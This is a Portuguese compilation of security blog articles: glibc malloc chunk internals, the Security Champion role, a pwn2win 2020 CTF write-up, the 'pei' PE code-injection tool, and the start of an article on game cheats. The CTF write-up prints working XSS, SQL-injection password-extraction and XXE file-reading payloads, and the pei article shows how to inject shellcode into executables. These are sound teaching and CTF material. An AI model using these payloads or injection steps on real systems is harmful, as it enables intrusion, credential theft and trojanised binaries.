    struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; INTERNAL_SIZE_T mchunk_size; struct malloc_chunk* fd; struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; struct malloc_chunk* bk_nextsize; O valor mchunk_prev_size seria o tamanho do chunk anterior e mchunk_size o tamanho do chunk atual. Os ponteiros *fd e *bk são usados somente quando o chunk está livre, e seriam ponteiros usados para a lista circular duplamente encadeada de chunks que apontam para o chunk posterior e anterior, respectivamente. No entanto, essa estrutura não representa muito claramente como o chunk é de fato usado pelo sistema de malloc, na figura abaixo isso é ilustrado com mais precisão.

    O ponteiro que malloc() retorna não aponta para o início do chunk mas sim para o início do espaço de memória que pode ser usado pelo usuário. O tamanho do espaço de memória de um chunk é alinhado pelo tamanho de um double word na arquitetura. Caso malloc() seja chamado passando um tamanho desalinhado como argumento, um espaço extra é alocado para manter o alinhamento. Por exemplo, se o alinhamento está sendo feito para 8 bytes e malloc é chamada com 9 como argumento, malloc irá te devolver um chunk com 16 bytes de espaço de memória usável. Além do alinhamento no tamanho do chunk, também existe um alinhamento no endereço de memória retornado por malloc() que é sempre alinhado para o tamanho de uma word. Isso é feito porque em algumas arquiteturas esse alinhamento de memória é necessário para se evitar uma exceção. Em outras arquiteturas (x86, por exemplo) o alinhamento melhora a performance do processador no acesso à memória.
    Como existe esse alinhamento no tamanho de um chunk isso garante que os três bits menos significativos de mchunk_size não sejam necessários para definir o tamanho do chunk. Se aproveitando disso, os três últimos bits são usados como flags para determinar alguns metadados usados pelo sistema de chunks.

    O bit M indica que o chunk não pertence a nenhuma arena e, ao invés disso, foi alocado dinamicamente em uma memória mapeada. Caso este bit esteja ligado, os outros dois são ignorados. No contexto de um chunk livre este bit está sempre desligado, tendo em vista que a lista encadeada de chunks livres somente se aplica a chunks que estão em alguma arena.
    Os chunks diretamente mapeados na memória (com bit M ligado) são criados para chunks muito grandes. Esses chunks quando liberados com a função free() são imediatamente liberados da memória. Por outro lado, usar free() em um chunk comum não necessariamente irá liberar memória para o sistema operacional. O que free() faz nesse caso é marcar o chunk como livre o adicionando de volta à lista de chunks livres. Assim como é indicado nesse trecho da glibc:
    /* Mark the chunk as belonging to the library again. */ (void)tag_region (chunk2mem (p), memsize (p)); Repare como o comentário descreve a ação como “marcar o chunk como pertencente à biblioteca novamente”, e é efetivamente isso que a função free() faz, não sendo necessariamente uma liberação de memória para o sistema operacional. Inclusive um recurso de otimização que a glibc usa é o que eles chamam de tcache (Thread Local Cache), que se trata de uma lista de chunks existente em cada thread individualmente. Quando você aloca um novo chunk na thread e posteriormente o libera, ele é adicionado ao tcache daquela thread e pode ser reutilizado em uma nova alocação posterior.
    Um adendo que a função free() pode efetivamente liberar memória para o sistema operacional se houver vários chunks livres no topo do segmento de dados (o que raramente acontece). Ela faz isso chamando a função interna systrim(), que por sua vez (no Linux) usa a syscall brk para diminuir novamente o segmento de dados.
    Um detalhe interessante que vale citar aqui é que na glibc (no Linux) existem as funções brk e sbrk que servem como wrappers para aumentar/diminuir o segmento de dados. O sistema de liberação de memória do systrim() espera que essas funções não sejam utilizadas diretamente para poder fazer a liberação de memória apropriadamente. Se você usá-las em seu código por algum motivo, irá “quebrar” o sistema de liberação de memória automático do free(), o fazendo não mais liberar memória quando é usado em chunks de arenas. Logo, não é recomendável que você use essas funções diretamente a menos que você esteja implementando seu próprio sistema de gerenciamento de memória dinâmica.
    O código abaixo é um experimento a fim de vermos na prática os metadados do chunk no Linux:
    // gcc test.c -o test #include <stdio.h> #include <stdlib.h> int main(void) { size_t *content = malloc(8); size_t chunk_size = content[-1] & ~0b111; size_t chunk_flags = content[-1] & 0b111; printf("size: %zu\nflags: %zu\n", chunk_size, chunk_flags); return 0; } No meu Linux é retornado 32 como tamanho do chunk e 1 como flag, indicando que somente o bit P está ligado. Sugiro ao leitor variar o tamanho passado para malloc a fim de comprovar que o alinhamento do tamanho do chunk de fato ocorre. Também sugiro passar um número grande para malloc() a fim de ver a partir de qual tamanho malloc() irá deixar de usar uma arena e irá alocar o chunk com mmap(). Caso isso ocorra o bit M será ligado e o número 2 (decimal) será indicado como flags.
    Nota: Esse código propositalmente não utiliza free() antes de finalizar o programa. É redundante e desnecessário usá-la quando o programa é finalizado, tendo em vista que todas as páginas de memória usadas pelo processo serão liberadas pelo sistema operacional.
    Referências
    https://man7.org/linux/man-pages/man2/brk.2.html https://sourceware.org/glibc/wiki/MallocInternals https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=e2d7b1b58396906375ba0e953a20ac57f0904378;hb=refs/heads/master http://c-faq.com/malloc/freeb4exit.html

    Julliana Bauer
    A presença de Security Champions nas equipes de desenvolvimento pode trazer uma visão mais estruturada acerca da segurança de aplicações. Além disso, ele pode ser um grande influenciador da cultura de segurança dentro da empresa.
    Mas você sabe qual é o papel deste profissional?
    Conversamos com o Rodrigo Maués, Tech Lead na Conviso Application Security, para entender melhor quem é e qual o papel do Security Champion dentro de um time de segurança.

    O que é o Security Champion
    De acordo com Maués, dentro de empresas que produzem softwares, é comum existir um atrito ocasional entre duas áreas.
    Para a área de desenvolvimento, as equipes de segurança são pontos de gargalo dentro de um processo já bem pressionado e com prazos apertados. Do outro lado, temos as equipes de segurança que, por vezes, entram em conflito ao buscar introduzir mais segurança nos produtos entregues pelos desenvolvedores.
     “Este conflito nem sempre é facilmente solucionado, pois vai contra algo que, do ponto de vista comercial, é bem mais forte que a validação de um código: as demandas de um mercado cada vez mais inovador e ágil”, contextualiza o Tech Lead. 
    É aí que entra o papel do Security Champion. No mundo de Segurança de Aplicações, entendemos os  Security Champions como sendo os membros das equipes de desenvolvimento que receberam treinamento específico para atuar como ponto focal de segurança de aplicações dentro do time. 
    Quando um membro do time de desenvolvimento se torna um Security Champion, ele estabelece uma melhor comunicação com seus pares e muda a cultura do desenvolvimento de dentro para fora, já que acessa a mesma linguagem dos membros envolvidos na produção do software.
    “Desta forma, o time de Desenvolvimento consegue compreender muito melhor a informação passada, uma vez que recebe o conhecimento de um dos seus”, esclarece Maués. 
    Ou seja: o Security Champion trabalha como uma ponte entre as duas áreas, de forma conciliadora, para garantir que a cultura da segurança seja mantida sem desgastar as equipes.

    Quais as responsabilidades de um Security Champion?
    Entre as principais responsabilidades dos Security Champions está a mudança cultural dos desenvolvedores, que devem passar a ter um olhar mais cuidadoso no trabalho de codificação, aplicando as melhores práticas de desenvolvimento seguro e buscando ter um olhar cada vez mais focado em segurança desde o início da criação de seus produtos.
    Um Security Champion, de forma geral, é um transformador cultural para as equipes de desenvolvimento, e atua também como uma ponte de ligação entre as áreas de desenvolvimento e de segurança. “É ele quem consegue manter um entendimento dos dois mundos, amenizando os conflitos e disputas”, esclarece Maués. 
    Algumas atividades comuns do dia a dia de um Security Champion são:
    Ajudar na realização de revisões de segurança;  Ajudar com a observação de melhores práticas de segurança; Desenvolver Modelagem de Ameaças para aplicativos novos e em evolução; Participar de movimentos de P&D – Pesquisa e Desenvolvimento; Orientar na identificação de requisitos de segurança; Avaliar e estudar bugs em código; Servir de elo de contato entre as demais equipes da área de segurança. No entanto, é muito importante ressaltar que o Security Champion não realiza essas tarefas sozinho. Tudo é feito em colaboração com o time! Afinal, o papel do Security Champion não é o de centralizar o conhecimento - e sim, de disseminá-lo nas equipes. 

    Como se tornar um Security Champion? Existe um perfil específico?
    É comum que Security Champions sejam desenvolvedores treinados e devidamente capacitados para suportar as iniciativas de segurança. 
    No entanto, isso não é regra - é possível que profissionais egressos de outras áreas, mas com algum conhecimento em desenvolvimento, recebam treinamento para atuar como Security Champions caso cumpram outros requisitos.
    De todo modo, é preciso ressaltar que Security Champions não são profissionais de segurança de aplicações que são focados exclusivamente em segurança. Essa confusão é muito comum, mas é uma concepção errada. 
    A escolha dos Security Champions dentro de cada time gera uma noção de pertencimento e ajuda no trabalho com os desenvolvedores. É imprescindível um trabalho cauteloso, que começa por um mapeamento de times. 
    Para isso, é preciso identificar e capacitar membros dos times de desenvolvimento que tenham esse perfil, para que atuem como facilitadores de segurança. E este papel exige características comportamentais, como iniciativa e autogestão.  Mas caso você sinta afinidade com essa carreira, esse já é um ótimo indício!

    Vagas na Conviso
    A Conviso, mantenedora aqui do Mente Binária, está com muitas vagas abertas. São vagas para áreas variadas dentro da empresa - de Desenvolvedor a Analista de Segurança da Informação.
    Caso você sinta afinidade com a especialidade da Conviso - Segurança de Aplicações - não deixe de se inscrever, ou mesmo de se cadastrar em nosso banco de talentos. É só clicar no botão abaixo:


    brenocss
    Hoje iremos acompanhar um writeup de um desafio do pwn2win 2020, criado pelo Caio Lüders, que nos permite aprender 3 vulnerabilidades conhecidas (XSS, SQL INJECTION e XXE) e categorizadas no OWASP Top 10 como Injection (top 1) e XXE (top 4).
    Para isso, vamos entender as vulnerabilidades envolvidas separadamente e depois explorar no desafio.
    O que é Reflected XSS
    Cross Site Script Refletido (Reflected XSS) é uma vulnerabilidade que explora a injeção de códigos na resposta HTTP que podem estar refletidos em diferentes contextos HTML e permitem execução de código JavaScript.
    Código vulnerável:
    ### Contexto de html <?php $nome = $_GET["nome"]; // Guarda o valor do parametro nome na variavel nome print '<h1>ola ' . $nome .'<h1>'; // Retorna no html <h1> ola $conteudo da variavel nome$ </h1> ?> O código PHP é vulnerável à XSS já que todo o conteúdo passado no parâmetro nome é retornado, sem sanitização, no HTML da página. Ou seja, se conseguimos injetar qualquer tag HTML podemos utilizar alguma tag que execute JavaScript (<script>alert(1)</script>, por exemplo) ou podemos utilizar tags com eventos (<img src=x onerror=alert(1)/>) como uma forma de executar JavaScript.
    XSS:
    http://localhost:8000/xsshtml.php?nome=<script>alert(1)</script> http://localhost:8000/xsshtml.php?nome=<img src=imageminvalida onerror=alert(1)> Código vulnerável:
    ### Contexto de atributo <?php $img = $_GET["img"]; // Pega o valor do parâmetro "img" e guarda dentro da variável "$img" print '<img src="' . $img .'">'; // Retorna no HTML da página <img src="CONTEUDO DA VARIAVEL $img"> ?> Percebemos que o servidor está inserindo o parâmetro img dentro do atributo src da imagem. Uma maneira que podemos transformar isso em um XSS é fechar o atributo e a tag com “> e inicializar outra tag que execute JavaScript, <img src=x onerror=xss>, por exemplo. Outro caminho é injetar outro atributo que execute JavaScript.
    XSS:
    http://localhost:8000/xssatributo.php?img="><img src=imageminvalida onerror=alert(1)> http://localhost:8000/xssatributo.php?img=imageminvalida" onerror=alert(1)// Código vulnerável:
    ### Contexto de códigos JavaScript <?php $nome = $_GET["nome"]; // Pega o valor do parametro "nome" e guarda na variavel $nome print '<body>'; // Adiciona a tag <body> no HTML print '<script>nome=\'' . $nome .'\';console.log(nome)</script>'; // adiciona o <script>nome=COUNTEUDO DA VARIAVEL $nome;console.log(nome)</script> no HTML da pagina print '</body>';// adiciona tag </body> para fechar a tag no html ?> Para explorar o XSS com o payload teste'-alert(1)// fechamos a String nome com ' . Fizemos a operação de subtração para executar o JavaScript e comentamos o código restante com //.
    XSS:
    http://localhost:8000/xssjavascript.php?nome='-alert(1)//  
    O que é SQL Injection
    SQL Injection é uma vulnerabilidade que explora como uma query SQL é montada e enviada para ser executada. Muitas vezes o desenvolvedor utiliza as entradas do usuário diretamente na query que será executada para fazer a consulta SQL sem nenhuma forma de tratamento.
    Código vulnerável:
    $usuario = $_POST['usuario']; $senha = $_POST['senha']; $sql = "SELECT * FROM usuarios WHERE usuario = '".$usuario."' AND senha = '".$senha."' "; $processa = mysql_query($sql); Explorando SQL Injection
    No exemplo abaixo temos uma consulta normal de SQL com as entradas usuais de um usuário :
    $usuario = "epicleetteam"; $senha = "admin"; Com as entradas acima a consulta SQL resulta no seguinte:
    SELECT * FROM usuarios WHERE usuario = 'epicleetteam' AND senha = 'admin' Demonstrando agora o que acontece quando enviamos entradas com aspas simples:
    $usuario = "epicleet'team"; $senha = "admin"; Com as entradas acima a consulta SQL resulta no seguinte:
    SELECT * FROM usuarios WHERE usuario = 'epicleet'team' AND senha = 'admin' Podemos notar que a aspa simples quebra a query e nos permite escapar da string e gerar um erro de sintaxe. Como escapamos da string conseguimos executar qualquer comando SQL.
    Exemplo executando o comando sleep para evitar o erro de sintaxe utilizamos o # para comentar o resto da query:
    $usuario = "epicleetteam' union select sleep(5)#"; $senha = "admin"; SELECT * FROM usuarios WHERE usuario = 'epicleet' union select sleep(5)#' AND senha = 'admin'  
    O que é XXE
    XML External Entity (XXE) é uma característica do XML que nos permite criar uma referencia de um dado. Esse dado pode ser local ou remoto. Com isto a entidade passa a ter o valor contido no endereço referenciado e ao ser chamada retorna os dados desse endereço.
    Exemplo com arquivo local:
    <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> Saída:
    root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin messagebus:x:101:101::/nonexistent:/usr/sbin/nologin gnx:x:999:999::/home/gnx:/bin/sh Exemplo com arquivo externo:
    <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "https://epicleet.team/robots.txt" >]><foo>&xxe;</foo> Vamos ao desafio
    A ideia do desafio era explorar todas essas vulnerabilidades em uma única requisição. Sendo assim, a sua requisição precisa ser poliglota (ser entendida em diferentes contextos) e evitar com que uma exploração não atrapalhe a outra. Para começar escolhemos o SQL Injection.
    Para elaboração do payload separamos a resolução em 3 partes: SQLi, XXE e por fim XSS+XXE+SQLi.
    Código Fonte do desafio: https://github.com/pwn2winctf/challenges-2020/blob/master/web-A payload to rule them all/deploy/server/script/test_payload.js
    SQL Injection
    Os trechos destacados são responsáveis pela vulnerabilidade de SQL Injection e por validar caso ele tenha obtido sucesso. Depois disso, o desafio avalia se a saída da consulta do SQL possui a password do usuário. OBS: ${payload} é a entrada do atacante.
    Trecho do desafio vulnerável a SQL Injection:
    const sqli = await query(`SELECT * from posts where id='${payload}'`) //<- monta a query enviada para o sql await connection.end() return JSON.stringify(sqli).includes(users[0]["password"]) //<- Verifica se password esta no retorno da query Para retornar o conteúdo do password na query do SQL utilizamos o operador UNION.
    O operador union combina os resultados de duas ou mais queries em um único resultado, retornando todas as linhas pertencentes a todas as queries envolvidas na execução. Para utilizar o UNION, o número de colunas precisa ser idêntico em todas as queries.
    Sendo assim, começaremos descobrindo o número de colunas pela técnica baseada no tempo. Iremos variar a quantidade de colunas utilizando N vezes a palavra null e o comando sleep(5) para criar o delay. Desta forma verificaremos se a resposta foi impactada pelo delay (deu certo) ou não (deu errado):
    'UNION SELECT sleep(5)# (não demorou) 'UNION SELECT sleep(5),null# (não demorou) 'UNION SELECT sleep(5),null,null#(demorou) Para confirmar que são exatamente 3 colunas adicionamos mais uma coluna e se não demorar garantimos a quantidade 3 de colunas
    'UNION SELECT sleep(5),null,null,null# (não demorou)` Sendo assim, ao obter o numero de colunas correto podemos retornar o conteudo da senha com esse payload final
    'UNION SELECT null,null,(select password from users)# E assim fica a query executada pelo SQL:
    SELECT * from posts where id=''UNION SELECT null,null,(select password from users)#'  
    XXE
    Trecho do desafio vulnerável a XXE:
    var my_secret = Math.random().toString(36).substring(2) ;//<- Gera numero aleatorio fs.writeFileSync("/home/gnx/script/xxe_secret",my_secret) //<- Escreve esse numero aleatorio no arquivo xxe_secret var doc = libxml.parseXml(payload, { noent: true ,nonet: true })// <- recebe as entradas do atacante e parseia o xml return doc.toString().includes(my_secret) //<- verifica se o conteúdo do arquivo my_secret aparece no retorno do xml Para o ataque de XXE somente utilizei o payload conhecido de leitura de arquivo
    <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///home/gnx/script/xxe_secret’>]><root>&test;</root> Porém para não atrapalhar o SQL Injection substituímos as aspas simples por aspas duplas.
    Assim ficamos com um payload poliglota que explora XXE e SQLi.
    Payload de XXE+SQLI:
    <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret">]><root>&test;</root>'UNION SELECT null,null,(select password from users)# XSS+XXE+SQLI
    A parte do XSS, supostamente mais simples, já que seria só definir a variável xss com o payload "xss=1", tornou-se a mais complicada pois era afetada pelos outros payloads, que acarretavam erros de sintaxe JavaScript.
    Trecho do código vulnerável:
    payload = sanitizeHtml(payload,{allowedTags:[]}) // <- Recebe a entrada do usuario e sanitiza com a funcao sanitizeHtml await page.goto(`data:text/html,<script>${payload}</script>`) // <- Coloca o conteudo sanitizado dentro da tag <script> const check = await page.evaluate("( typeof xss != 'undefined' ? true : false )") //<- verifica se a variavel xss esta definido Como todo o payload era passado em uma lib de sanitização antes de ser injetado no  browser (data:text/html,<script>${payload}</script>), deveríamos utilizar essa lib ao nosso favor para forçar a remoção do conteúdo dos outros ataques que atrapalham criar um JavaScript válido. Uma das remoções da lib é a de comentários. A lib  também remove todas as tags HTML. Sabendo disso, vamos usar essas características e juntar as vulnerabilidades. Exemplo:
    <tag aleatoria> é removido <!--é removido --> Remover o SQLl Injection do payload de XSS é bem fácil já que podemos injetar qualquer conteúdo antes das aspas simples precisando somente ser diferente de aspas simples e injetar qualquer conteúdo depois do comentário.
    SQL Injection com comentários do HTML:
    <!--’UNION SELECT (select password from users),null,null#--> Payload invalido com Sql Injection + XXE + XSS:
    <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret">]><root>xss=1//&test;</root><!--'UNION SELECT null,null,(select password from users)#--> A lib sanitizehtml, ao interpretar boa parte do conteudo xml como tag html, remove a maior parte da string.
    Partes restantes do payload depois do sanitize:
    ]>xss=1//&test; Erro ao acessar data:text/html,<script>]>xss=1//&test;</script>:
    Uncaught SyntaxError: Unexpected token ']' Percebemos que o conteúdo do xml estava atrapalhando o código JavaScript ao ser executado sem erros no browser. Para escapar criamos uma entidade <!ENTITY apagar SYSTEM "teste>/*"> com o conteúdo teste> para a lib remover algumas partes do xml.
    No entanto restaram alguns caracteres que estavam gerando o erro de sintaxe comentado anteriormente.Para isso utilizamos o comentário do JavaScript /* */ para comentar os caracteres “]> e o // para comentar todo o resto do payload.
    Payload Final usando comentário javascript:
    <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY apagar SYSTEM "teste>/*">]><root>*/xss=1//&xxe;</root><!--' union select (select password from users),null,null Outra maneira era utilizar o CDATA para injetar esses caracteres especiais < e colocar o xss dentro de uma entidade do xml. O CDATA é importante pois na ausência do CDATA eles seriam interpretados pelo xml parser e teríamos problemas com o xxe.
    Payload Final
    <!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY x "<![CDATA[ < ]]>xss=1//" >]><root>&test;</root><!--' union select (select password from users),null,null#-->

    Felipe.Silva
    Injeção de código é uma técnica que consiste em adicionar instruções extras em um executável. Essas instruções podem ser adicionadas em vários lugares do programa, inclusive executar antes do entry point original.
    O uso mais comum para injeção de código é para fins maliciosos, onde um shellcode poderia ser inserido no executável e dar acesso remoto para um atacante. Mas um exemplo de uso "justo" para essa técnica é para fins de patching no executável quando você quer que algo seja alterado em tempo de execução no binário.
    Se você já tentou injetar código em um executável manualmente deve saber que não é uma tarefa tão divertida. Pensando neste tipo de impasse, imaginei que seria interessante ter uma ferramenta para automatizar esse tipo de manipulação de um executável. Por esse motivo criei o pei, uma ferramenta para automatizar injeção de código e outros tipos de manipulações em executáveis PE de 32-bit e 64-bit.
    O pei foi programado pensando na automação e por isso é fácil usar a ferramenta a partir de um script. Com ela você pode obter e modificar valores no executável, e é claro, injetar código.
    Antes de qualquer coisa você pode instalar o pei em seu Linux rodando os comandos abaixo:
    git clone https://github.com/Silva97/pei cd pei make sudo make install Nota: Caso use Windows e não esteja usando WSL ou um MSYS2 da vida, você pode compilar o projeto instalando o make e o MinGW (recomendo usar o Chocolatey). No entanto, o “sudo make install” não vai funcionar no Windows, você vai ter que adicionar o executável ao PATH manualmente.
    Se você não estiver a fim de compilar o executável, fiz o favor de adicionar o binário da ferramenta compilado para Windows nos releases dela. Você pode baixá-lo no link https://github.com/Silva97/pei/releases/latest.
    O uso básico da ferramenta segue o seguinte formato:
    pei [opções] <operação> <executável> [argumento] Se você quiser ver mais detalhes de como usar a ferramenta você pode rodar “pei -h”.
    Operações
    As operações são o que determinam o que a ferramenta irá fazer com o executável, indo desde exibir informações sobre ele até modificar campos dos cabeçalhos.
    show
    A operação show serve para exibir informações sobre o executável e campos dos cabeçalhos. Se você não passar argumentos para a operação por padrão ela irá exibir informações básicas do executável:

    Você também pode especificar uma combinação de letras para escolher quais campos serão exibidos, dentre elas: c (COFF header), o (optional header), d (data directories) e s (section). Exemplo:
    $ pei show test.exe co Esse comando, por exemplo, exibe o COFF header e optional header do executável.
    get
    A operação get pega o valor de um campo individual de um dos cabeçalhos (coff, optional ou section) do executável.
    Seguindo uma notação com pontos, semelhante à acessar campos de estruturas em C, você pode especificar o cabeçalho e o nome do campo para ser obtido. Por exemplo, para obter o entry point do executável o comando ficaria:
    $ pei get executavel.exe optional.entry_point '%x' 14f0 Dica: Veja o nome dos campos dos cabeçalhos usando a operação show.
    O argumento após o nome do campo é uma string de formatação idêntica a da função printf() da libc, que aceita quaisquer flags de formatação disponíveis para a função.
    Para acessar os campos de uma seção é necessário especificar o número da seção também, como demonstrado no print abaixo:

    edit
    A operação edit serve para modificar o valor de campos, onde o nome do campo é especificado de maneira idêntica à operação get.
    Você pode utilizar os operadores `=`, `|=` e `&=` que fazem exatamente a mesma coisa que na linguagem C. Exemplos:
    $ pei edit executavel.exe section.0.name = .code $ pei edit executavel.exe optional.entry_point = 0xabcd1234 Esta operação aceita números em decimal, hexadecimal ou octal na hora de definir o valor de campos numéricos.
    zeros
    Esta operação simplesmente exibe uma lista das maiores sequências de bytes nulo em cada seção do executável. É este espaço que é utilizado para injetar o código, tornando a operação útil para você poder escolher em qual seção injetar o código.
    $ pei zeros executavel.exe Section #0 '.text': 0x00000000000022fb of 13 bytes Section #1 '.data': 0x000000000000242c of 1012 bytes Section #2 '.rdata': 0x0000000000002a5b of 37 bytes Section #6 '.idata': 0x0000000000003a26 of 22 bytes Section #7 '.CRT': 0x000000000000420b of 21 bytes Section #9 '/4': 0x0000000000004649 of 23 bytes Section #10 '/19': 0x0000000000004cbe of 10 bytes Section #12 '/45': 0x000000000003e2fc of 5 bytes Section #13 '/57': 0x0000000000041019 of 8 bytes Section #15 '/81': 0x0000000000043c33 of 44 bytes Section #16 '/92': 0x0000000000045509 of 23 bytes inject - A cereja do bolo 🙂
    Esta é a operação que injeta o código. Você pode usar a opção -f para especificar o arquivo contendo o código a ser injetado, que seria um raw binary. Onde esse arquivo deve conter apenas as instruções de código de máquina a ser injetado, como um shellcode por exemplo.
    Opcionalmente, você pode usar a opção -s para especificar o número da seção que você quer injetar o código. Se a opção não for especificada, por padrão o pei vai injetar onde houver mais espaço disponível.
    $ pei -f my_code.bin inject executavel.exe Writed code of 12 bytes on offset 0x0000000000043924 of section #15 '/81' Após o código injetado, o pei insere um jump absoluto para o entry point original do executável, fazendo com que após o código injetado ser executado o fluxo de execução do programa continue normalmente.
    Outra modificação que o pei faz é desabilitar o dynamic base do executável, para evitar que o jump aponte para o endereço errado.
    Dica: Injetando Código Muito Grande
    Se você precisar injetar um código maior do que o espaço disponível apontado pela operação zeros, você pode dividir o código a ser injetado em várias partes e injetar cada parte por vez, seguindo a ordem da última até a primeira parte. Isso funciona porque o pei irá adicionar um jump no final do código para o endereço que está sendo indicado como entry point. Se você já injetou código antes, esse endereço é o endereço do código anteriormente injetado. 🙂
    Dessa forma você pode fazer um chain de saltos da primeira parte até a última e então saltar para o entry point original. Exemplo:
    $ pei inject -f parte-3.bin executavel.exe Writed code of 87 bytes on offset 0x0000000000043833 of section #15 '/81' $ pei inject -f parte-2.bin executavel.exe Writed code of 80 bytes on offset 0x0000000000044924 of section #11 '/23' $ pei inject -f parte-1.bin executavel.exe Writed code of 32 bytes on offset 0x0000000000401a15 of section #1 '.text' Isso irá criar a seguinte ordem de execução: parte-1.bin -> parte-2.bin -> parte-3.bin -> entry point. Onde as setas “->” representam os saltos.
    diff
    Esta operação exibe diferenças entre dois executáveis. Ela compara cada campo dos cabeçalhos do executável e o conteúdo das seções, e depois exibe estas diferenças no terminal. Você pode usar a opção -c (ou --color) para que a saída da operação seja colorida:

    Em vermelho são os valores no executável original que foram modificados e em verde são os valores novos no executável modificado.
    patch
    Essa operação lê um texto de entrada no mesmo formato que a saída da operação diff e replica as mesmas modificações no executável. Exemplo:
    $ pei patch executavel2.exe diff-output.txt Caso você não especifique um patch file, o pei irá ler de stdin. Assim, é possível que você faça um pipe entre uma operação de diff e patch:
    $ pei diff original.exe mod.exe | pei patch outro.exe A diferença de fazer isto e simplesmente fazer uma cópia do executável modificado, é que a ideia é replicar somente as diferenças entre os executáveis. Quaisquer outros campos não são tocados pela operação patch, o que te permite salvar alterações e replicá-las por meio de um script. 🙂
    Se você quiser, também é possível escrever um patch file manualmente, bastando imitar a saída de diff. Uma dica é que os valores dos campos originais (em vermelho) não são necessários para a operação patch, então você pode inserir somente os valores novos. Seguindo o print da saída do diff que utilizamos agora pouco como exemplo:
    optional.entry_point xxx 0x4ca33 section.0.name xxx .code section.15.characteristics xxx 0x62100040 // @O texto não faz diferença, só importa o @ no início da linha // Daqui para baixo qualquer linha que não inicie com + será ignorada. +0x43830 00 30 9f 61 62 63 0a b8 f0 14 40 00 ff e0 00 00 // O formato é: +0xoffset bytes em hexadecimal Nota: Onde há o “xxx” seriam os campos dos valores originais (em vermelho) que não são lidos pelo pei porém são necessários para imitar a saída da operação diff. Você pode colocar qualquer valor aí que não dará erro já que são ignorados.
    Você pode usar a operação patch em scripts para automatizar várias modificações em um executável ao mesmo tempo, inclusive em bytes de um determinado offset.

    esoj

    Segurança em jogos

    By esoj, in Articles,

    Neste artigo analisaremos alguns tópicos sobre o tema tanto sob a ótica do desenvolvedor, quanto do hacker, comparando os desafios e técnicas referentes ao desenvolvimento de cheats para jogos online e offline.
    Jogos single player
    Do ponto de vista do desenvolvedor a integridade de um jogo single player raramente apresenta um problema para o produto e a comunidade. Devido à ausência de interação entre os jogadores, hacks pouco podem fazer além de obter feitos incríveis como concluir o jogo em tempos recordes ou desbloquear todas as conquistas para que o jogador possa exibir-se para seus amigos. Às vezes é até mesmo desejável pelo desenvolvedor que os jogadores comprometam a integridade do jogo através da criação de Mods,  por exemplo, pois eles expandem e renovam o jogo, criando formas completamente diferentes de jogá-lo.
    Do ponto de vista do profissional de segurança, jogos são uma maneira incrível de testar o seu potencial de engenharia reversa e até mesmo programação, quando você reescreve alguma seção crítica do game, por exemplo.
    Scanners de memória
    Sem dúvida jogos são programas complexos. Além de toda a lógica de gameplay o programa deve conter as instruções necessárias para renderizar itens na tela, gerenciar dispositivos de som, receber input do usuário, além de diversas outras funções comuns presentes nas engines como pathfinding, sistema de partículas, gerenciamento de animações, etc. Fazer a engenharia reversa de um jogo tentando compreender cada etapa do programa até encontrar as seções relacionadas à lógica de jogo seria como procurar uma agulha no palheiro.
    Por este motivo desenvolveram-se ferramentas para inverter esse processo. Com a ajuda de Scanners de memória, a partir de elementos visuais do jogo como vida ou dinheiro, é possível descobrir o valor da variável desejada. Isso permite ao hacker alterar aquele valor ou usar aquela variável (quem acessa esse endereço?) para identificar seções de código relacionadas, criando exploits ainda mais complexos.
    O processo de scan por valor funciona em três etapas:
    Escaneia-se um valor conhecido, como vida, dinheiro, pontuação, etc; Altera-se essa variável dentro do jogo para que ela mude de valor; Repete-se as etapas 1 e 2 até obter um número pequeno de possíveis endereços. Ao fim do processo, é possível trocar o valor da variável dentro do jogo, obtendo vantagens como grandes quantias de vida ou dinheiro.
    O scan de memória funciona buscando todos os endereços de memória do processo que contém aquele exato valor. Quando o segundo scan é feito, ele utiliza a primeira lista de resultado e remove os endereços que não se adequam ao valor atual. Ao fim do processo, sobram bons palpites para o real endereço da variável:
    Exemplo de Scan de memória usando Cheat engine
    Scan por proximidade
    Esta técnica se baseia a partir da relação de proximidade espacial entre as variáveis. Por exemplo, se em um jogo o personagem possuir uma barra de vida cujo valor exato é incerto, uma estratégia possível é buscar por algum valor conhecido associado e após encontrar aquele valor olhar em suas proximidades para checar se a variável vida está lá. Isso ocorre porque na maioria das vezes os programadores armazenam os dados de cada elemento do jogo em objetos ou structs, que são contínuos na memória:
    Struct player{ Char nome[50]; Int dinheiro; float vida ; float vidaMax ; Imagem *sprite; }  
    Exemplo de Scan por proximidade usando Cheat engine
    Fuzzing
